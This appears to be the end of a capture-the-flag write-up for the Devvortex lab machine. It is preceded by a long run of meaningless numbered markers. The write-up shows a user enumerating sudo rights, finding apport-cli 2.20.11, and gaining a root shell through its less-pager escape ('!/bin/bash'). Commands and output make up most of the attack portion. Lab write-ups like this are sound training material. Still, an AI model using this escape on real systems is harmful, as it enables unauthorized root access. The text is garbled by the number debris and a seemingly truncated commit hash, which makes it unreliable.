(794) (795) (796) (797) (798) (799) (800) (801) (802) (803) (804) (805) (806) (807) (808) (809) (810) (811) (812) (813) (814) (815) (816) (817) (818) (819) (820) (821) (822) (823) (824) (825) (826) (827) (828) (829) (830) (831) (832) (833) (834) (835) (836) (837) (838) (839) (840) (841) (842) (843) (844) (845) (846) (847) (848) (849) (850) (851) (852) (853) (854) (855) (856) (857) (858) (859) (860) (861) (862) (863) (864) (865) (866) (867) (868) (869) (870) (871) (872) (873) (874) (875) (876) (877) (878) (879) (880) (881) (882) (883) (884) (885) (886) (887) (888) (889) (890) (891) (892) (893) (894) (895) (896) (897) (898) (899) (900) (901) (902) (903) (904) (905) (906) (907) (908) (909) (910) (911) (912) (913) (914) (915) (916) (917) (918) (919) (920) (921) (922) (923) (924) (925) (926) (927) (928) (929) (930) (931) (932) (933) (934) (935) (936) (937) (938) (939) (940) (941) (942) (943) (944) (945) (946) (947) (948) (949) (950) (951) (952) (953) (954) (955) (956) (957) (958) (959) (960) (961) (962) (963) (964) (965) (966) (967) (968) (969) (970) (971) (972) (973) (974) (975) (976) (977) (978) (979) (980) (981) (982) (983) (984) (985) (986) (987) (988) (989) (990) (991) (992) (993) (994) (995) (996) (997) (998) (999) (1000) (1001) (1002) (1003) (1004) (1005) (1006) (1007) (1008) (1009) (1010) (1011) (1012) (1013) (1014) (1015) (1016) (1017) (1018) (1019) (1020) (1021) (1022) (1023) (1024) (1025) (1026) (1027) (1028) (1029) (1030) (1031) (1032) (1033) (1034) (1035) (1036) (1037) (1038) (1039) (1040) (1041) (1042) (1043) (1044) (1045) (1046) (1047) (1048) (1049) (1050) (1051) (1052) (1053) (1054) (1055) (1056) (1057) (1058) (1059) (1060) (1061) (1062) (1063) (1064) (1065) (1066) (1067) (1068) (1069) (1070) (1071) (1072) (1073) (1074) (1075) (1076) (1077) (1078) (1079) (1080) (1081) (1082) (1083) (1084) (1085) (1086) (1087) (1088) (1089) (1090) (1091) (1092) (1093) (1094) (1095) (1096) (1097) (1098) (1099) (1100) (1101) (1102) (1103) (1104) (1105) (1106) (1107) (1108) (1109) (1110) (1111) (1112) (1113) (1114) (1115) (1116) (1117) (1118) (1119) (1120) (1121) (1122) (1123) (1124) (1125) (1126) (1127) (1128) (1129) (1130) (1131) (1132) (1133) (1134) (1135) (1136) (1137) (1138) (1139) (1140) (1141) (1142) (1143) (1144) (1145) (1146) (1147) (1148) (1149) (1150) (1151) (1152) (1153) (1154) (1155) (1156) (1157) (1158) (1159) (1160) (1161) (1162) (1163) (1164) (1165) (1166) (1167) (1168) (1169) (1170) (1171) (1172) (1173) (1174) (1175) (1176) (1177) (1178) (1179) (1180) (1181) (1182) (1183) (1184) (1185) (1186) (1187) (1188) (1189) (1190) (1191) (1192) (1193) (1194) (1195) (1196) (1197) (1198) (1199) (1200) (1201) (1202) (1203) (1204) (1205) (1206) (1207) (1208) (1209) (1210) (1211) (1212) (1213) (1214) (1215) (1216) (1217) (1218) (1219) (1220) (1221) (1222) (1223) (1224) (1225) (1226) (1227) (1228) (1229) (1230) (1231) (1232) (1233) (1234) (1235) (1236) (1237) (1238) (1239) (1240) (1241) (1242) (1243) (1244) (1245) (1246) (1247) (1248) (1249) (1250) (1251) (1252) (1253) (1254) (1255) (1256) (1257) (1258) (1259) (1260) (1261) (1262) (1263) (1264) (1265) (1266) (1267) (1268) (1269) (1270) (1271) (1272) (1273) (1274) (1275) (1276) (1277) (1278) (1279) (1280) (1281) (1282) (1283) (1284) (1285) (1286) (1287) (1288) (1289) (1290) (1291) (1292) (1293) (1294) (1295) (1296) (1297) (1298) (1299) (1300) (1301) (1302) (1303) (1304) (1305) (1306) (1307) (1308) (1309) (1310) (1311) (1312) (1313) (1314) (1315) (1316) (1317) (1318) (1319) (1320) (1321) (1322) (1323) (1324) (1325) (1326) (1327) (1328) (1329) (1330) (1331) (1332) (1333) (1334) (1335) (1336) (1337) (1338) (1339) (1340) (1341) (1342) (1343) (1344) (1345) (1346) (1347) (1348) (1349) (1350) (1351) (1352) (1353) (1354) (1355) (1356) (1357) (1358) (1359) (1360) (1361) (1362) (1363) (1364) (1365) (1366) (1367) (1368) (1369) (1370) (1371) (1372) (1373) (1374) (1375) (1376) (1377) (1378) (1379) (1380) (1381) (1382) (1383) (1384) (1385) (1386) (1387) (1388) (1389) (1390) (1391) (1392) (1393) (1394) (1395) (1396) (1397) (1398) (1399) (1400) (1401) (1402) (1403) (1404) (1405) (1406) (1407) (1408) (1409) (1410) (1411) (1412) (1413) (1414) (1415) (1416) (1417) (1418) (1419) (1420) (1421) (1422) (1423) (1424) (1425) (1426) (1427) (1428) (1429) (1430) (1431) (1432) (1433) (1434) (1435) (1436) (1437) (1438) (1439) (1440) (1441) (1442) (1443) (1444) (1445) (1446) (1447) (1448) (1449) (1450) (1451) (1452) (1453) (1454) (1455) (1456) (1457) (1458) (1459) (1460) (1461) (1462) (1463) (1464) (1465) (1466) (1467) (1468) (1469) (1470) (1471) (1472) (1473) (1474) (1475) (1476) (1477) (1478) (1479) (1480) (1481) (1482) (1483) (1484) (1485) (1486) (1487) (1488) (1489) (1490) (1491) (1492) (1493) (1494) (1495) (1496) (1497) (1498) (1499) (1500) (1501) (1502) (1503) (1504) (1505) (1506) (1507) (1508) (1509) (1510) (1511) (1512) (1513) (1514) (1515) (1516) (1517) (1518) (1519) (1520) (1521) (1522) (1523) (1524) (1525) (1526) (1527) (1528) (1529) (1530) (1531) (1532) (1533) (1534) (1535) (1536) (1537) (1538) (1539) (1540) (1541) (1542) (1543) (1544) (1545) (1546) (1547) (1548) (1549) (1550) (1551) (1552) (1553) (1554) (1555) (1556) (1557) (1558) (1559) (1560) (1561) (1562) (1563) (1564) (1565) (1566) (1567) (1568) (1569) (1570) (1571) (1572) (1573) (1574) (1575) (1576) (1577) (1578) (1579) (1580) (1581) (1582) (1583) (1584) (1585) (1586) (1587) (1588) (1589) (1590) (1591) (1592) (1593) (1594) (1595) (1596) (1597) (1598) (1599) (1600) (1601) (1602) (1603) (1604) (1605) (1606) (1607) (1608) (1609) (1610) (1611) (1612) (1613) (1614) (1615) (1616) (1617) (1618) (1619) (1620) (1621) (1622) (1623) (1624) (1625) (1626) (1627) (1628) (1629) (1630) (1631) (1632) (1633) (1634) (1635) (1636) (1637) (1638) (1639) (1640) (1641) (1642) (1643) (1644) (1645) (1646) (1647) (1648) (1649) (1650) (1651) (1652) (1653) (1654) (1655) (1656) (1657) (1658) (1659) (1660) (1661) (1662) (1663) (1664) (1665) (1666) (1667) (1668) (1669) (1670) (1671) (1672) (1673) (1674) (1675) (1676) (1677) (1678) (1679) (1680) (1681) (1682) (1683) (1684) (1685) (1686) (1687) (1688) (1689) (1690) (1691) (1692) (1693) (1694) (1695) (1696) (1697) (1698) (1699) (1700) (1701) (1702) (1703) (1704) (1705) (1706) (1707) (1708) (1709) (1710) (1711) (1712) (1713) (1714) (1715) (1716) (1717) (1718) (1719) (1720) (1721) (1722) (1723) (1724) (1725) (1726) (1727) (1728) (1729) (1730) (1731) (1732) (1733) (1734) (1735) (1736) (1737) (1738) (1739) (1740) (1741) (1742) (1743) (1744) (1745) (1746) (1747) (1748) (1749) (1750) (1751) (1752) (1753) (1754) (1755) (1756) (1757) (1758) (1759) (1760) (1761) (1762) (1763) (1764) (1765) (1766) (1767) (1768) (1769) (1770) (1771) (1772) (1773) (1774) (1775) (1776) (1777) (1778) (1779) (1780) (1781) (1782) (1783) (1784) (1785) (1786) (1787) (1788) (1789) (1790) (1791) (1792) (1793) (1794) (1795) (1796) (1797) (1798) (1799) (1800) (1801) (1802) (1803) (1804) (1805) (1806) (1807) (1808) (1809) (1810) (1811) (1812) (1813) (1814) (1815) (1816) (1817) (1818) (1819) (1820) (1821) (1822) (1823) (1824) (1825) (1826) (1827) (1828) (1829) (1830) (1831) (1832) (1833) (1834) (1835) (1836) (1837) (1838) (1839) (1840) (1841) (1842) (1843) (1844) (1845) (1846) (1847) (1848) (1849) (1850) (1851) (1852) (1853) (1854) (1855) (1856) (1857) (1858) (1859) (1860) (1861) (1862) (1863) (1864) (1865) (1866) (1867) (1868) (1869) (1870) (1871) (1872) (1873) (1874) (1875) (1876) (1877) (1878) (1879) (1880) (1881) (1882) (1883) (1884) (1885) (1886) (1887) (1888) (1889) (1890) (1891) (1892) (1893) (1894) (1895) (1896) (1897) (1898) (1899) (1900) (1901) (1902) (1903) (1904) (1905) (1906) (1907) (1908) (1909) (1910) (1911) (1912) (1913) (1914) (1915) (1916) (1917) (1918) (1919) (1920) (1921) (1922) (1923) (1924) (1925) (1926) (1927) (1928) (1929) (1930) (1931) (1932) (1933) (1934) (1935) (1936) (1937) (1938) (1939) (1940) (1941) (1942) (1943) (1944) (1945) (1946) (1947) (1948) (1949) (1950) (1951) (1952) (1953) (1954) (1955) (1956) (1957) (1958) (1959) (1960) (1961) (1962) (1963) (1964) (1965) (1966) (1967) (1968) (1969) (1970) (1971) (1972) (1973) (1974) (1975) (1976) (1977) (1978) (1979) (1980) (1981) (1982) (1983) (1984) (1985) (1986) (1987) (1988) (1989) (1990) (1991) (1992) (1993) (1994) (1995) (1996) (1997) (1998) (1999) (2000) (2001) (2002) (2003) (2004) (2005) (2006) (2007) (2008) (2009) (2010) (2011) (2012) (2013) (2014) (2015) (2016) (2017) (2018) (2019) (2020) (2021) (2022) (2023) (2024) (2025) (2026) (2027) (2028) (2029) (2030) (2031) (2032) (2033) (2034) (2035) (2036) (2037) (2038) (2039) (2040) (2041) (2042) (2043) (2044) (2045) (2046) (2047) (2048) (2049) (2050) (2051) (2052) (2053) (2054) (2055) (2056) (2057) (2058) (2059) (2060) (2061) (2062) (2063) (2064) (2065) (2066) (2067) (2068) (2069) (2070) (2071) (2072) (2073) (2074) (2075) (2076) (2077) (2078) (2079) (2080) (2081) (2082) (2083) (2084) (2085) (2086) (2087) (2088) (2089) (2090) (2091) (2092) (2093) (2094) (2095) (2096) (2097) (2098) (2099) (2100) (2101) (2102) (2103) (2104) (2105) (2106) (
```

```

last login: Tue Nov 21 10:53:48 2023 from 10.10.14.23
logan@devvortex:~$ ls -la
total 28
drwxr-xr-x 3 logan logan 4096 Nov 21 11:04 .
drwxr-xr-x 3 root  root  4096 Sep 26 19:16 ..
-rwxrwxrwx 1 root  root    9 Oct 26 14:58 .bash_history -> /dev/null
-rw-r--r-- 1 logan logan  220 Sep 26 19:16 .bash_logout
-rw-r--r-- 1 logan logan 3771 Sep 26 19:16 .bashrc
-rwx----- 2 logan logan 4096 Oct 26 15:12 .cache
-rw-r--r-- 1 logan logan  807 Sep 26 19:16 .profile
-rw-r----- 1 root  logan  33 Dec  7 19:49 user.txt
logan@devvortex:~$ cat user.txt
2f057dc0257aa0e2090b859a4cc0c97a
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User logan may run the following commands on devvortex:
    (ALL : ALL) /usr/bin/apport-cli
logan@devvortex:~$

```

```
sudo -l
```

Here is the program for crash detection/reporting. After I ran this program : "No reports: try --help"

I found version

```

logan@devvortex:/usr/bin$ sudo /usr/bin/apport-cli
No pending crash reports. Try --help for more information.
logan@devvortex:/usr/bin$ sudo /usr/bin/apport-cli --help
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]

Options:
  -h, --help                show this help message and exit
  -f, --file-bug            Start in bug filing mode. Requires --package and an
                           optional --pid, or just a --pid. If neither is given,
                           display a list of known symptoms. (Implied if a single
                           argument is given.)
  -w, --window              Click a window as a target for filing a problem
                           report.
  -u UPDATE_REPORT, --update-bug=UPDATE_REPORT
                           Start in bug updating mode. Can take an optional
                           --package.
  -s SYMPTOM, --symptom=SYMPTOM
                           File a bug report about a symptom. (Implied if symptom
                           name is given as only argument.)
  -p PACKAGE, --package=PACKAGE
                           Specify package name in --file-bug mode. This is
                           optional if a --pid is specified. (Implied if package
                           name is given as only argument.)
  -P PID, --pid=PID         Specify a running program in --file-bug mode. If this
                           is specified, the bug report will contain more
                           information. (Implied if pid is given as only
                           argument.)
  --hanging                 The provided pid is a hanging application.
  -c PATH, --crash-file=PATH
                           Report the crash from given .apport or .crash file
                           instead of the pending ones in /var/crash. (Implied if
                           file is given as only argument.)
  --save=PATH              In bug filing mode, save the collected information
                           into a file instead of reporting it. This file can
                           then be reported later on from a different machine.
  --tag=TAG                Add an extra tag to the report. Can be specified
                           multiple times.
  -v, --version             Print the Apport version number.
logan@devvortex:/usr/bin$ sudo /usr/bin/apport-cli -V
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]

apport-cli: error: no such option: -V
logan@devvortex:/usr/bin$ sudo /usr/bin/apport-cli --version
2.20.11
logan@devvortex:/usr/bin$

```

This is vulnerability version.

<https://github.com/canonical/apport/commit/e5f78cc89f1f5888b6a56b785dddc0364c48ecb>

To use this

```
sudo /usr/bin/apport-cli -c /bin/bash less
```

Please choose (S/V/K/I/C): v

```
!/bin/bash
```

```
logan@devvortex:/tmp$ sudo /usr/bin/apport-cli -c /bin/bash less
```

\*\*\* Collecting problem information

The collected information can be sent to the developers to improve the application. This might take a few minutes.

.....

\*\*\* Send problem report to the developers?

After the problem report has been sent, please fill out the form in the automatically opened web browser.

What would you like to do? Your options are:

S: Send report (1.6 KB)

V: View report

K: Keep report file for sending later or copying to somewhere else

I: Cancel and ignore future crashes of this program version

C: Cancel

Please choose (S/V/K/I/C): v

```
root@devvortex:/tmp# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
root@devvortex:/tmp#
```